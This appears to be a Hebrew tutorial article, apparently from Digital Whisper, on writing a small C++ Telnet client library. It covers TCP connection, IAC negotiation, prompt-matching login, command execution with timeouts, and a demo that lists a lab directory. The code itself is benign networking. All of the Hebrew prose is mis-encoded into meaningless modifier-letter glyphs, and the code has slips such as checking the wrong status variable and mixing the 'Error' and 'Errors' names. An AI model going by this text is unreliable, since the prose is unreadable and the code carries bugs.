¶ нлл ˢ˪˰ˬˣ Υ˸ˣ˞˧ˠ˷ ˢˬ˞˸ˢ˟ ˸˧˷˧˞ Φ 

ˢ˧˴˵ˮˣ˲ˣ inline ˢ˶˧ˤ˥ˬˢ   ˸ ˞ ˢ˞˧ˠ˷ˢ  s ˞˪ˬˢ Υ 

inline  std::string_view readError( int  rtntErrno) {  
  if  (rtntErrno < 200) { return  strerror(errno); } // return errno  
  switch  (rtntErrno) {  
    case RTELNET_SUCCESS: return              "No error." ;  
    case Errors ::ADDRESS_NOT_VALID: return    "Address is not valid." ;  
    case Errors ::CANNOT_ALOCATE_FD: return    "Cannot allocate a file 
descriptor." ;  
    case Errors ::CONNECTION_CLOSED_R: return  "Connection closed by remote." ;  
    case Errors ::NOT_CONNECTED: return        "Connection failed." ;  
    case Errors ::FAILED_SEND: return          "Could not send message." ;  
    case Errors ::PARTIAL_SEND: return         "Message was sent partially." ;  
    default : return                           "Unknown error." ;  
  }  
}  

 

¶ errno ˞ˣˢ ˢˮ˸˷ˬ  ˧˪˟ˣ˪ˠ ˸ˣ˩˶˰ˬ˟   ˯ ˵ˣˮ˧˪ x πPOSIX Σ˷ˬ˷ˬˢ  ˥ ˣˣˡ˪ ˪˰   l ˣ˵ ˢ˞˧ˠ˷ ˢ˧˴˵ˮˣ˲ˢ˷˩  

ˢˮˣ˶˥˞ˢ ˪˷ ˢ˧˧˶˲˯ˢ ˸˧˦˶ˡˮ˦˯ˢ ˢ˪˷˩ˮΦ 

http://www.digitalwhisper.co.il/
https://en.cppreference.com/w/cpp/standard_library.html
https://www.nutrient.io/blog/performance-overhead-of-exceptions-in-cpp/
https://www.nutrient.io/blog/performance-overhead-of-exceptions-in-cpp/
https://www.nutrient.io/blog/performance-overhead-of-exceptions-in-cpp/
https://en.cppreference.com/w/cpp/language/inline.html
https://man7.org/linux/man-pages/man3/errno.3.html
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 x ˧˷˩˰ ˭˸˧ˮ  ˟ˣ˸˩˪  ˸ ˞ sπClass ˪ˣˢ˧ˮ˪  ˶ ˣ˟˧˥ˢ TCP   ˸˥˸  Session  Υ 

class  tcp {  
public :  
  tcp(session* owner) : _owner(owner) {}  
private :  
  session* _owner;  
};  
  

 

˸˧˴˵ˮˣ˲ ˶ˤ˰ ˸˶ˡˠˢ˪ ˦˵˧˧˟ˣ˞ˢ sockaddr_in ȡ 

inline  unsigned  int  setSocketAddr(sockaddr_in& server_address) const  {  
  server_address.sin_family = AF_INET;  
  server_address.sin_port = htons(_owner - >_port);  
  
  if  (inet_pton(AF_INET, _owner - >_address, &server_address.sin_addr) <= 0) {  
    return  Errors ::ADDRESS_NOT_VALID; 
  }  
  
  return  RTELNET_SUCCESS; 
}  
  

 

˶ˣ˟˧˥ ˪˰ ˧˟ˠ sockaddr_inȡ 

inline  unsigned  int  Connect (sockaddr_in& address) {  
  int  sockfd = socket(AF_INET, SOCK_STREAM, 0);  
  if  (sockfd < 0) return  Errors ::CANNOT_ALOCATE_FD; 
  
  errno = 0;  
  if  (connect(sockfd, reinterpret_cast <sockaddr*>(&address), sizeof (address)) < 
0) { return  errno; }  
   
  _owner- >_connected = true ;  
  return  sockfd;  
}  
  

 

ˢ˶˧ˠ˯Υ 

void  Close () {  
  close(_owner - >_fd);  
  _owner- >_connected = false ;  
}  
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ˢ˥˧˪˷ύ Υ˧˶˞ˮ˧˟ό 

inline  unsigned  int  SendBin( const  std::vector< unsigned  char >& message, int  
sendFlag = 0) const  {  
  if  (!_owner - >_connected) return  Errors ::NOT_CONNECTED; 
  
  errno = 0;  
  ssize_t  bytesSent = send(_owner - >_fd, message.data(), message.size(), 
sendFlag);  
  
  if  (bytesSent == 0) return  Errors ::FAILED_SEND; 
  if  ( static_cast <size_t> (bytesSent) != message.size()) return  
Errors ::PARTIAL_SEND; 
  if  (bytesSent < 0) return  errno;  
  
  return  RTELNET_SUCCESS; 
}  
  

 

ˢ˧˴˵ˮˣ˲ xʕ ˢˡ˰ˣˮ ˥ˣ˪˷˪ ˸ˣ˰ˡˣˢ ˸˶˷˪  Telnet ˵˪˥˩ ˬπNegotiation x˞ Re-negotiation Φ 

ˢ˥˧˪˷ύ Υ˸ˣˤˣ˶˥ˬ ό 

inline  unsigned  int  Send( const  std:: string & message, int  sendFlag = 0) const  {  
  if  (!_owner - >_connected) return  Errors ::NOT_CONNECTED; 
  
  std::vector< unsigned  char > buffer;  
  buffer.reserve(message.size());  
  
  // Escape 255/0xFF  
  for  ( unsigned  char  c : message) {  
    buffer.push_back(c);  
    if  (!(_owner - >_binarySendEnabled && _owner - >_binaryReceiveEnabled) && c == 
255) buffer.push_back( 255);  
  }  
  
  errno = 0;  
  ssize_t  bytesSent = send(_owner - >_fd, buffer.data(), buffer.size(), 
sendFlag);  
  
  if  (bytesSent == 0) return  Errors ::FAILED_SEND; 
  if  (bytesSent < 0) return  errno;  
  if  ( static_cast <size_t> (bytesSent) != buffer.size()) return  
Errors ::PARTIAL_SEND; 
  
  return  RTELNET_SUCCESS; 
}  
  

 

¶ ˣˬ˧˷  ˟˪ Σ˶˷˞˩˷  x ˮ˞ ˫˧˴ˣ˶   ˥ ˣ˪˷˪ ˰ˡ˧ˬ ˪˧ˠ˶  Σ˷˧   ˨ ˣ˲ˢ˪  ˪ ˩  ˦ ˧˧˟  ˪ ˷ нрр ˪˞ нрр нрр Σ ˭˩˷ нрр   s ˣˣ˷  

˨˶˰   ˪ ˞ IAC Φ 
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ˢ˞˧˶˵ Υ 

inline  unsigned  int  Read(std::vector< unsigned  char >& buffer, int  readSize = 
RTELNET_BUFFER_SIZE, int  recvFlag = 0) const  {  
  if  (!_owner - >_connected) return  Errors ::NOT_CONNECTED; 
  
  buffer.resize(readSize);  
  
  fd_set readfds;  
  FD_ZERO(&readfds);  
  FD_SET(_owner- >_fd, &readfds);  
  
  timeval timeout{};  
  timeout.tv_sec = 1;  
  timeout.tv_usec = 0;  
  
  int  ready = select (_owner - >_fd + 1, &readfds, nullptr , nullptr , &timeout);  
  if  (ready < 0) return  errno;  
  if  (ready == 0) {  
    buffer.clear();  
    return  RTELNET_SUCCESS; 
  }  
  
  errno = 0;  
  ssize_t  bytesRead = recv(_owner - >_fd, reinterpret_cast <char *>(buffer.data()), 
readSize, recvFlag);  
  
  if  (bytesRead < 0) return  errno;  
  if  (bytesRead == 0) return  Errors ::CONNECTION_CLOSED_R; 
  
  buffer.resize(bytesRead);  
  
  return  RTELNET_SUCCESS; 
}  
  

 

 ˯ ˟˪ˣ˱ ˭˩ˡ˰ˮ  ˸ ˞ Sessionύ Υˣ˲˧˯ˣ˸  ˫ˠ  ˸˞ _tcp ˪˞ sπConstructor ό 

  ~session() {  
    _tcp. Close ();  
  }  
  
tcp _tcp;  
private :  
  friend  class  tcp;  
  

 

 x ˧˷˩˰ ˷˧˷  ˣˮ˪  ˸ ˞ ˪˩ ˫˧˪˩ˢ  ˫˧˷˶ˡˮˢ  ˸˶ˣ˷˵˸˪ ˢˮ˧˵˸ ˪˰ ˧˟ˠ ˪ˣ˵ˣ˦ˣ˶˲ Telnet Σ x ˮ˞ ˫˧˪ˣ˩˧  ˪˧˥˸ˢ˪  

˟ˣ˸˩˪  ˸˞ ˸ˣ˧˴˵ˮˣ˲ˢ  x ˵˧ˤ˥˧˷ ˸˞ ˶ˣ˟˧˥ˢ Φ 
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˭˩ˡ˰ˮ  ˸ ˞ sπenum  ˪ ˷ Errors ύ ˸ ˞ˣ ˢ˧˴˵ˮˣ˲ˢ ˢ˶˧ˤ˥ˬ  ˸ˣ˞˧ˠ˷ Υό 

enum Errors  {  
  ADDRESS_NOT_VALID   = 210,  
  CANNOT_ALOCATE_FD   = 211,  
  CONNECTION_CLOSED_R = 212,  
  NOT_CONNECTED       = 213,  
  FAILED_SEND         = 214,  
  PARTIAL_SEND        = 215,  
  NOT_A_NEGOTIATION   = 216,  
  NOT_NEGOTIATED      = 217,  
  USERNAME_NOT_SET    = 218,  
  PASSWORD_NOT_SET    = 219,  
  NOT_LOGGED          = 220,  
  FAILED_LOGIN        = 221 
};  
  

 

Negotiate 

ˢ˧˴˵ˮˣ˲ xʕ ˸˧˞˶˥˞  ˪ ˢˮ˪ ˸˞   ˟ ˪˷ sπNegotiation   ˪ ˷ Telnet Φ 

˧˲˪  ˫ ˣ˷˶ˮ˷ ˸˞ ˢ˧˴˵ˮˣ˲ˢ Σ˶˧ˡˠˮ  enums ˣ˵˧ˤ˥˧˷ ˸˞ ˫˧˦˧˧˟ˢ ˫˸ˣ˞ ˥˪˷ˮ ˸˰˟ Negotiation Υ 

enum TelnetCommands : unsigned  char  {  
  IAC  = 255, // Interpret As Command  
  DO   = 253, // Please use this option  
  DONT = 254, // Please don't use this option  
  WILL = 251, // I will use this option  
  WONT = 252  // I won't use this option  
};  
  
enum TelnetOptions  : unsigned  char  {  
  BINARY        = 0, // Binary transmission (8 - bit clean communication)  
  ECHO          = 1, // Echo input back to sender (commonly server - side)  
  SGA           = 3, // Suppress Go Ahead (stream mode instead of line mode)  
  STATUS        = 5, // Query or send current option status  
  TIMING_MARK   = 6, // Timing mark for synchronization  
  TERMINAL_TYPE = 24 // Exchange terminal type (e.g., "ANSI", "VT100")  
  // Ideally add all.  
}  
  

 

ˢ˪˧˥˸ Σ˵ˣˡ˟ˮ ˫˞  ˶ ˴ˣˮ ˶ˣ˟˧˥  TCP Υ 

unsigned  int  Negotiate () {  
  if  (!_connected) return  Errors ::NOT_CONNECTED; 
  return  RTELNET_SUCCESS; 
}  
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ˢˡ˧ˬ˟ ˭˩ˣ Σ˶ˣ˴˧ˮ  ˢ˞˪ˣ˪  ˢ˟ ˟˧˷˵ˮ  ˸ˣ˷˵˟˪  ˸ ˶˷ˢˬ ύˢ˧˧˲˴˟ ˪˞ IAC Υό 

std::vector< unsigned  char > buffer;  
  
while  ( true ) {  
  // Peek in the buffer  
  buffer.clear();  
  unsigned  int  bufferPeek = _tcp. Read(buffer, 3, MSG_PEEK); 
  if  (bufferPeek != RTELNET_SUCCESS) { return  bufferPeek; }  
}  
  

 

˧˶˥˞  ˣˮ˴˴ˢ˷  π˟Buffer  ύˢ˰ˡˣˢ˟ ˸˶˷ˢˬ  Σό ˭ ˸˧ˮ ˵ˣˡ˟˪  ˫˞  ˞ˣˢ ˫˞ˣ˸  ˸˞ ˸ˣ˧˲˴ˢ ˣˮ˪˷ Υ 

ssize_t  n = static_cast <ssize_t> (buffer.size());  
if  (n < 3) { // There are less than 3 bytes (Not IAC COMMAND OPTION)  
  _negotiated = false ;  
  return  Errors ::NOT_NEGOTIATED; 
}  
  
// If not a negotiation packet, exit  
if  (buffer[ 0] != TelnetCommands::IAC) {  
  if  (!_negotiated) {  
    return  Errors ::NOT_A_NEGOTIATION; 
  } else  {  
    break ;  
  }  
}  
  

 

ˢˡ˧ˬ˟ ˞ˣˢˣ  ˭ ˩ ˫˞ˣ˸ ˸˞ ˸ˣ˧˲˧˴ˢ  ˣˮ˪˷ Σˣˮ˥ˮ˞ ˫˧˪ˣ˩˧   ˞ ˣ˶˵˪   x ˸ˣ˞ ˣ˞ˣ˪ˬ˟ Υ 

buffer.clear();  
unsigned  int  bufferResult = _tcp. Read(buffer, 3);  
if  (bufferPeek != RTELNET_SUCCESS) return  bufferResult;  
  
unsigned  char  command = buffer[ 1];  
unsigned  char  option  = buffer[ 2];  
  

 

˶˧ˤ˥ˢ˪ˣ ˢ˟ˣ˷˸   ˸ ˶˷˪ Υ 

std::vector< unsigned  char > response = {  
    static_cast <unsigned  char >( TelnetCommands::IAC),  
    static_cast <unsigned  char >( 0),  
    static_cast <unsigned  char >(option)  
  };  
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˶˧ˡˠˮ  ˸˞ ˢ˟ˣ˷˸ˢ   x ˮ˪˷ύ Υ˰ˠ˶˩ ˣˮ˥ˮ˞   ˞ ˪ ˫˧˩ˬˣ˸  ˱˞˟  ˢ˧˴˲ˣ˞ Σˢ˟ˣ˷˸ˢ  l ˧ˬ˸ ˢ˧ˢ˸ ˸˧˪˧˪˷ ό 

switch  (command) {  
  case TelnetCommands::DO:  
    switch  (option) {  
      case TelnetOptions ::BINARY: response[ 1] = TelnetCommands::WONT; break ;  
      case TelnetOptions ::ECHO: response[ 1] = TelnetCommands::WONT; break ;  
      case TelnetOptions ::SGA: response[ 1] = TelnetCommands::WONT; break ;  
      case TelnetOptions ::STATUS: response[ 1] = TelnetCommands::WONT; break ;  
      case TelnetOptions ::TIMING_MARK: response[ 1] = TelnetCommands::WONT; 
break ;  
      case TelnetOptions ::TERMINAL_TYPE: response[ 1] = TelnetCommands::WONT; 
break ;  
      default : response[ 1] = TelnetCommands::WONT; break ;  
    }  
    break ;  
  
  case TelnetCommands::WILL:  
    switch  (option) {  
      case TelnetOptions ::BINARY: response[ 1] = TelnetCommands::WONT; break ;  
      case TelnetOptions ::ECHO: response[ 1] = TelnetCommands::WONT; break ;  
      case TelnetOptions ::SGA: response[ 1] = TelnetCommands::WONT; break ;  
      case TelnetOptions ::STATUS: response[ 1] = TelnetCommands::WONT; break ;  
      case TelnetOptions ::TIMING_MARK: response[ 1] = TelnetCommands::WONT; 
break ;  
      case TelnetOptions ::TERMINAL_TYPE: response[ 1] = TelnetCommands::WONT; 
break ;  
      default : response[ 1] = TelnetCommands::WONT; break ;  
    }  
    break ;  
  case TelnetCommands::WONT: 
  case TelnetCommands::DONT:  
    // Ideally, add support for these later.  
    break ;  
}  
  

 

 ˫ ˣ˧˯˪ˣ ˥˪˷ˮ  ˸˞ ˢ˟ˣ˷˸ˢ ˢ˶ˤ˥ ˸˶˷˪ Υ 

  _tcp. SendBin(response);  
  _negotiated = true ;  
  

 

˸˰˟   s ˞˧˴˧ ˢ˞˪ˣ˪ˢˬ ύbreak Σό˶˧ˤ˥ˮ Υ 

return  RTELNET_SUCCESS; 
  

 

˧ˡ˩ ˪ˬ˯˪  Negotiation ˥˪˴ˣˬΦ 
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Login 

 x ˧˷˩˰   ˷ ˧˷   x ˮ˪  ˸˞   ˸ ˪ˣ˩˧ˢ   ˶ ˣ˴˧˪   ˶ ˣ˟˧˥  TCP   ˫ ˰  ˸˶˷ˢ  Σ ˶ ˣ˟˰˪ˣ  ˸˞  ˟˪˷   sπNegotiation  Σ x ˮ˞   ˫ ˧˪ˣ˩˧   ˸ ˣ˯ˮ˪  

˶˟˥˸ˢ˪   ˪ ˞  ˷ ˬ˸˷ˬ ˸˶˷˟Φ 

˨˧˪ˢ  ˸ ˣ˶˟˥˸ˢˢ ˢ˞˶ˮ  ˨ ˩  Υ 

 

 

˶ˬˣ˪˩  Σ ˸ ˶˷ˢ   ˥ ˪ˣ˷  ˸ˤˣ˶˥ˬ ˢ˟ˣ   s ˪˧ˬˢ  Ϧlogin: ΣϦ x ˮˡ˧˵˲˸ˣ   ˦ ˣ˷˲   ˶ ˧ˤ˥ˢ˪   ˸ ˶˷˪   ˸ ˞  ˫˷ˢ  ˷ˬ˸˷ˬ Σ x ˸ˣ˞ˣ  

˶˟ˡˢ  ˫˰ ˞ˬ˯˧˯ˢ Φ 

 ˸ ˟ˣ˦˪ ˢ˪ˣ˰˲ xʕ Σ˶ˣ˴˧ˮ ˸˧˧˴˵ˮˣ˲ ˶ˤ˰  ˯ˣ˲˸˪  x ˸ ˣ˲˴˪ ˸ˤˣ˶˥ˬ˪  ˸ ˬ˧ˣ˯ˬ ύ˞ˬˠˣˡ˪  Login Υό 

unsigned  int  expectOutput( const  std:: string & expect, std::vector< unsigned  
char >& buffer) {  
    if  (!_connected) return  Error ::NOT_CONNECTED; 
    if  (!_negotiated) return  Error ::NOT_NEGOTIATED; 
  
    for  ( int  i = 0; i < 300; ++i) {  
      unsigned  int  readStatus = _tcp. Read(buffer);  
      if  (readStatus != RTELNET_SUCCESS) return  readStatus;  
  
      std:: string  cleanedBuffer( reinterpret_cast <const  char *>(buffer.data()), 
buffer.size());  
  
      cleanedBuffer.erase(std:: remove(cleanedBuffer. begin (), 
cleanedBuffer. end(), ' \ r' ), cleanedBuffer. end());  
      cleanedBuffer.erase(std:: remove(cleanedBuffer. begin (), 
cleanedBuffer. end(), ' \ n' ), cleanedBuffer. end());  
  
      if  (cleanedBuffer.find(expect) != std:: string ::npos) {  
          return  RTELNET_SUCCESS; 
      }  
  
      std::this_thread::sleep_for(std::chrono::milliseconds( 200));  
    }  
  
    return  Error ::CANT_FIND_EXPECTED; 
}  
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˷ˬ˸˷ˮˣ ˢ˟  ˸˧˴˵ˮˣ˲˟  Login Υ 

unsigned  int  Login () {  
  if  (!_connected) return  Error ::NOT_CONNECTED; 
  if  (!_negotiated) return  Error ::NOT_NEGOTIATED; 
  if  (_username.empty()) return  Error ::USERNAME_NOT_SET; 
  if  (_password.empty()) return  Error ::PASSWORD_NOT_SET; 
  
  std::vector< unsigned  char > buffer;  
  
  // Enter login  
  buffer.clear();  
  unsigned  int  loginStatus = expectOutput( "login:" , buffer);  
  if  (loginStatus != RTELNET_SUCCESS) return  loginStatus;  
  unsigned  int  loginResponse = _tcp. Send(_username + " \ n" );  
  if  (loginResponse != RTELNET_SUCCESS) return  loginResponse;  
  
  // Enter password  
  buffer.clear();  
  unsigned  int  passwordStatus = expectOutput( "Password:" , buffer);  
  if  (passwordStatus != RTELNET_SUCCESS) return  passwordStatus;  
  unsigned  int  passwordResponse = _tcp. Send(_password + " \ n" );  
  if  (passwordResponse != RTELNET_SUCCESS) return  passwordResponse;  
  
  _logged_in = true ;  
  
  return  RTELNET_SUCCESS; 
}  
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Connect 

˶˥˞ˬ ˷˧ˣ  ˣˮ˪  ˣ˧˷˩˰ ˨˧˞  ˶ˣ˟˰˪ ˸˞  ˟˪˷ sπNegotiation ˷˧ˣ  x ˮ˪ ˨˧˞ ˶˟˥˸ˢ˪   ˷ ˬ˸˷ˬ˪ Σ ˶ ˣ˴˧ˮ ˨˶ˡ ˢ˪˵  

 ˞ ˣ˶˵˪  ˪ ˞  ˸ ˣ˧˴˵ˮˣ˲ ˣ˪˞ ˫ˣ˵ˬˬ  l ˥˞ Υ 

unsigned  int  Connect () {  
  sockaddr_in address;  
  unsigned  int  addressResult = _tcp.setSocketAddr(address);  
  if  (addressResult != 0 ) return  addressResult;  
  
  int  fd = _tcp. Connect (address);  
  if  (fd < 0) return  fd;  
  _fd = fd;  
  
  int  negotiateStatus = Negotiate ();  
  if  (negotiateStatus != RTELNET_SUCCESS) return  negotiateStatus;  
  
  return  RTELNET_SUCCESS; 
}  
  

 

˨˩ ˣˮ˩˯˥˷   ˷ ˬ˸˷ˬ˪ ˸˞  ˷ˣ˪˷ ˸ˣ˞˧˶˵ ˪˞ ˸ˣ˧˴˵ˮˣ˲  ˸ˣˮˣ˷ Φ 

 

˰ˣ˴˧˟ ˸ˣˡˣ˵˲ Υ 

˧˶˥˞   ˷Υ 

¶ ˣˮ˶˴˧  TCP Session 

¶ ˣˮ˶˟˰  ˸˞   ˟ ˪˷ sπNegotiation 

¶ ˣˮ˶˟˥˸ˢ ˪˞ ˷ˬ˸˷ˬ Φ 

ˣˮ˥ˮ˞  ˱ ˣ˯  ˱ ˣ˯  ˫ ˧˪ˣ˩˧ ˰˴˟˪ ˸ˣˡˣ˵˲ Φ 

¶ ˣ˶˩ˤ  ˶˷˞˩˷  ˫˧˥˪ˣ˷  ˢˡˣ˵˲ κˢ˰ˡˣˢ  ˷˧   ˪ ˧˲˩ˢ˪  ˪˩  ˦˧˧˟  ˪˷  нрр  Σ˨˩  ˫˞˷  ˷˧  нрр  ˞ˣˢ  ˢ˞˶˧  ˨˩  Υнрр  

нрр  ύ˪˰ ˧˲ sπRFC Φό 

˸˥˞   ˸ ˣ˧˰˟ˢ  ˸ˣ˷˵ˢ  ˶˸ˣ˧˟  ˶˷˞˩  ˫˧˯ˮˬ  ˥ˣ˪˷˪  ˸ˣˡˣ˵˲   ˪ ˰   ˧ ˟ˠ   ˪ ˣ˵ˣ˦ˣ˶˲  ˣˬ˩  Telnet  Σˡ˰ˣˮ˷  ˷ˣˬ˧˷˪   ˧ ˷ˣˮ˞  

 ˞ ˪ˣ ˪˰ ˧ˡ˧  ˸ˣˮ˩ˣ˸ , ˞ˣˢ   ˟ ˣ˶˪˷ ˢ˸˞ ˞˪ ˸ˬ˞˟ ˰ˡˣ˧  ˧ ˸ˬ ˢˬ˧˧˸˯ˢ ˢ˰ˣ˴˧˟ ˪˷ ˢˡˣ˵˲ Φ 

˧ˮ˞ ˧˸˞˴ˬ ˧˸˷  ˸ ˣ˧ˣ˶˷˲˞ ˶ˣ˸˲˪ ˸˞ ˢ˧˰˟  x ˤ Υ 

1Φ ˸ˣ˩˥˪  ˡ˰   ˶ ˤˣ˥˷ sπprompt  ˟ˣ˷ ύ Φ ˞ ˬˠˣˡ˪Υ~root@server][# ό 

2Φ ˸ˣ˩˥˪  ˸ ˣˬ˩ ˭ˬˤ  ˢ˰ˣˡ˧ Σˢ˟  ˞˪  ˥ ˪˷ˮ ˡˣ˰ ˰ˡ˧ˬ Φ 
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˷˪ ˸˧  ˸ ˣˮˣ˶˸˲ˢ  ˷ ˧ ˸ˣˮˣ˶˸˧   ˸ ˣˮˣ˶˯˥ˣ Υ 

˸ˣ˩˥˪  π˪prompt Υ 

 ˸ ˣˮˣ˶˸˧  ˸ ˣˮˣ˶˯˥ 

˭˧ˬ˞  ˫˞ ˦˲ˬˣ˶˲ˢ  ˧ ˟˵˰  ˧ ˡˣ˥˧˧ˣ  ˪˷˩ˮ ˫˞ ˦˲ˬˣ˶˲ˢ ˢˮ˸˷ˬ x˞  ˶ ˸˯ˣˬ 

˭ˬ˯ˬ ˶ˣ˶˧˟˟  ˸˞ ˫ˣ˧˯ ˢˡˣ˵˲ˢ  ˶˟˷ˮ  ˫˞  ˦˲ˬˣ˶˲ˢ   ˰ ˧˲ˣˬ  ˦˪˲˟  ˪˷   s ˡˣ˵˲ˢ  
ύ˪˷ˬ˪ ˟cat, echo ό 

˰ˮˣˬ ˫˧˟ˣ˩˧˰  ˫ ˧˶˸ˣ˧ˬ ˶˷˞˩  ˦˲ˬˣ˶˲ˢ ˰˧˲ˣˬ  l ˧ˬ  ˷ ˶ˣˡ ˸˵˧ˠˣ˪ ˥ˣ˸˧ˮ  ˧ˣˢ˧ˤ˪ ˸ˣ˧ˮ˟˸ ˪˷  ˫ ˧˦˲ˬˣ˶˲ 

 ˞˪ ˫˧˞˸ˬ  ˫˧ˮ˵˸ˢ˪  ˞ ˪˪ ˦˲ˬˣ˶˲  ˟ ˧˴˧  x ˞  ˧ ˣ˪ˠ 

 

ˢˮ˸ˬˢ ˧˲˪ ˶˯ˣ˥ ˸ˣ˪˧˰˲  ύtimeout Υό 

 ˸ ˣˮˣ˶˸˧  ˸ ˣˮˣ˶˯˥ 

 ˪ ˰ˣ˲ ˫ˠ  ˧˪˟  ˨ˬ˸˯ˢ˪   ˪ ˰ ˦˲ˬˣ˶˲  ˪ˣ˪˰   ˰ ˣ˦˵˪ ˦˪˲  ˪˷ ˸ˣˡˣ˵˲  ˸ˣ˧˦˧˞ x˞  ˸ ˣ˩ˣ˶˞ 

˦ˣ˷˲  ˷ ˣˬ˧ˬ˪ ˧˶ˣ˟˧˥ Telnet  ˣ˞ shell  ˫ ˧˧˪˪˩ ˱˧˯ˣˬ  ˟ˣ˩˧˰ ˶˸ˣ˧ˬ   ˸ ˣˡˣ˵˲˟   ˸ ˣ˶˧ˢˬ 

˰ˮˣˬ  ˸ ˣ˧˰˟  ˥ ˣ˸˧ˮ ˦˲ˬˣ˶˲  ˣ˞   ˟ ˣ˴˧˰   ˷ ˶ˣˡ   ˭ ˣˮˣˣ˩   ˵ ˧ˣˡˬ  ˪˷   ˭ ˬˤˢ  ˧ˡ˩   ˭ ˤ˞˪   ˭ ˧˟   ˸ ˣ˶˧ˢˬ  
 ˸ ˣˬ˪˷˪ 

 

˧˲˪   ˧ ˸˰ˡ  ˸ˣ˩ˬ˸˯ˢ   ˪ ˰  ˢˮ˸ˬˢ  ˶˯ˣ˥˪  ˸ˣ˪˧˰˲  ˞˧ˢ  ˢ˧˴˲ˣ˞  ˢ˟ˣ˦  ˶˸ˣ˧  Σ˭˩˪  ˧˸ˮ˩ˡ˰  ˸˞  Session  ˵˧ˤ˥ˢ˪   ˸ ˞  

˫˧˩˶˰ˢ  ˫ ˧˞˟ˢ Υ 

inline  constexpr  int  RTELNET_IDLE_TIMEOUT        = 1000;  
inline  constexpr  int  RTELNET_TOTAL_TIMEOUT       = 10000;  
  
// In the Session class:  
int  _idle = RTELNET_IDLE_TIMEOUT; 
int  _timeout = RTELNET_TOTAL_TIMEOUT;  
  

 

˧˸˶˴˧ˣ  ˸ ˞ ˢ˧˴˵ˮˣ˲ˢ  s ˞˟ˢ Υ 

unsigned  int  Execute ( const  std:: string & command, std:: string & buffer) {  
  if  (!_connected) return  Error ::NOT_CONNECTED; 
  if  (!_negotiated) return  Error ::NOT_NEGOTIATED; 
  if  (!_logged_in) return  Error ::NOT_LOGGED; 
  
  unsigned  int  sendStatus = _tcp. Send(command + " \ n" );  
  if  (sendStatus != RTELNET_SUCCESS) return  sendStatus;  
  
  std::vector< unsigned  char > output;  
  buffer.clear();  
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  auto  startTime = std::chrono::steady_clock::now();  
  auto  lastRead = startTime;  
  
  while  ( true ) {  
    unsigned  int  readStatus = _tcp. Read(output);  
    if  (readStatus != RTELNET_SUCCESS) return  readStatus;  
  
    if  (!output.empty()) {  
      buffer.append( reinterpret_cast <const  char *>(output.data()), 
output.size());  
      lastRead = std::chrono::steady_clock::now();  
    }  
  
    auto  now = std::chrono::steady_clock::now();  
    auto  idle = std::chrono::duration_cast<std::chrono::milliseconds>(now -  
lastRead).count();  
    auto  total = std::chrono::duration_cast<std::chrono::milliseconds>(now -  
startTime).count();  
  
    if  (idle > _idle || total > _timeout) break ;  
  
    std::this_thread::sleep_for(std::chrono::milliseconds( 50));  
  }  
  
  return  RTELNET_SUCCESS; 
}  
  

 

˞˧ˢ   ˸ ˥˵ˣ˪  ˶˦ˬ˶˲˩  ˸˞  ˢˡˣ˵˲ˢ   ˶ ˣ˩ˤ˞ˣ  ˪˞  buffer  ˸˶˧˥˟˪  ˷ˬ˸˷ˬˢ   x ˧˪˞˷  ˯ˮ˩ˮ  πsoutput  Σ s ˡ˰ˣˮˣ  

 ˭ ˧˸ˬˢ˪ ˨˷ˬ˪  ˭ ˬˤ ˶˯ˣ˥ ˸ˣ˪˧˰˲Φ  ˶ ˬˣ˪˩, ˞˧ˢ  ˵ ˧˯˲˸ ˞ˣ˶˵˪  ˫˞ ˞˪ ˣ˪˟˵˸ˢ ˫˧ˮˣ˸ˮ ˫˧˷ˡ˥  ˨ ˪ˢˬ˟ ˵˶˲  ˭ ˬˤ  

ˢˤ Σˣ˞  ˫˞  ˭ ˬˤ ˢˮ˸ˬˢˢ ˪˪ˣ˩ˢ ˠ˶˥ ˢ˪˟ˠˬˢˬ ˢ˰˟˵ˮ˷ Φ 

 

˷ˣˬ˧˷  s ˧˶˲˯˟ 

 x ˧˷˩˰ ˷˧˷ ˣˮ˪  ˫ ˰ ˢˬ ˡˣ˟˰˪  Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢ˧˶˲˯˟  ˣˮ˟˸˩˷ ˫˰  ˢˮ˩ˣ˸ ˢ˦ˣ˷˲ ˡˣ˞ˬ ˢ˶˧ˤ˥ˬˢ ˸˞  ˭ ˩ˣ˸ˢ  

˪˷ ˸˧˧˵˧˸ demo/ ˸˶˷˟ Υ 

#include  "rtelnet.hpp"  
#include  <iostream>  
  
int  main( int  argc, char  *argv[]) {  
  if  (argc < 2) {  
    std::cerr << "[ERROR]: Usage: "  << argv[ 0] << " <ADDRESS> <PORT>\ n" ;  
    return  1;  
  }  
  
  session Session (argv[ 1], "example" , "1234" , std::atoi(argv[ 2]));  
  
  unsigned  int  connectSuccess = Session . Connect ();  
  if  (connectSuccess != RTELNET_SUCCESS) {  
    std::cerr << "[CONNECTION_ERROR]: " << readError(connectSuccess) << " \ n" ;  
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    return  1;  
  }  
  
  std:: string  buffer;  
  
  // Flush the banner  
  unsigned  int  fbSuccess = Session . Execute ( " \ n" , buffer);  
  if  (fbSuccess != RTELNET_SUCCESS) {  
    std::cerr << "[EXEC_ERROR]: "  << rtnt::readError(fbSuccess) << " \ n" ;  
    return  1;  
  }  
  
  // Execute command  
  unsigned  int  execSuccess = Session . Execute ( "ls - al /demo" , buffer);  
  if  (execSuccess != RTELNET_SUCCESS) {  
    std::cerr << "[EXEC_ERROR]: "  << rtnt::readError(execSuccess) << " \ n" ;  
    return  1;  
  }  
  
  std::cout << buffer << " \ n" ;  
  return  0;  
}  
  

 

 ˶ ˥˞˪ ˢ˧˴˪˧˲ˬˣ˵ ˪˷  l ˣ˵ˢ Σ˭˸˧ˮ ˸ˣ˞˶˪ ˣˮ˪˟˧˵˷ ˢ˶ˤ˥  ˸ ˞  ˭˩ˣ˸ ˢ˧˵˧˸ˢ  \demo ˢ˥˪˴ˢ˟Υ 

noam  noam ṫ build ṫ ẞẞ make 
[ 50%] Building  CXX object  CMakeFiles /relic - telnet.dir/src/rtelnet.cpp.o  
[ 100%] Linking  CXX executable /home/noam/ Work_spaces/ Personal /chronicle/relic -
telnet/bin/relic - telnet - tester  
[ 100%] Built  target relic - telnet  

noam  noam ṫ build ṫ ẞẞ ../bin/relic - telnet - tester 172.16 . 1.2  23 
total 8 
drwxr - xr - x   2 root root 4096 Jun 30 08: 28 .  
- rw- r -- r --    1 root root    0 Jun 30 08: 28 Hello  
- rw- r -- r --    1 root root    0 Jun 30 08: 27 Digital  
- rw- r -- r --    1 root root    0 Jun 30 08: 27 Whisper  
dr - xr - xr - x. 20 root root 4096 Jun 30 08: 27 ..  
[example@server ~]$  
  

 

 

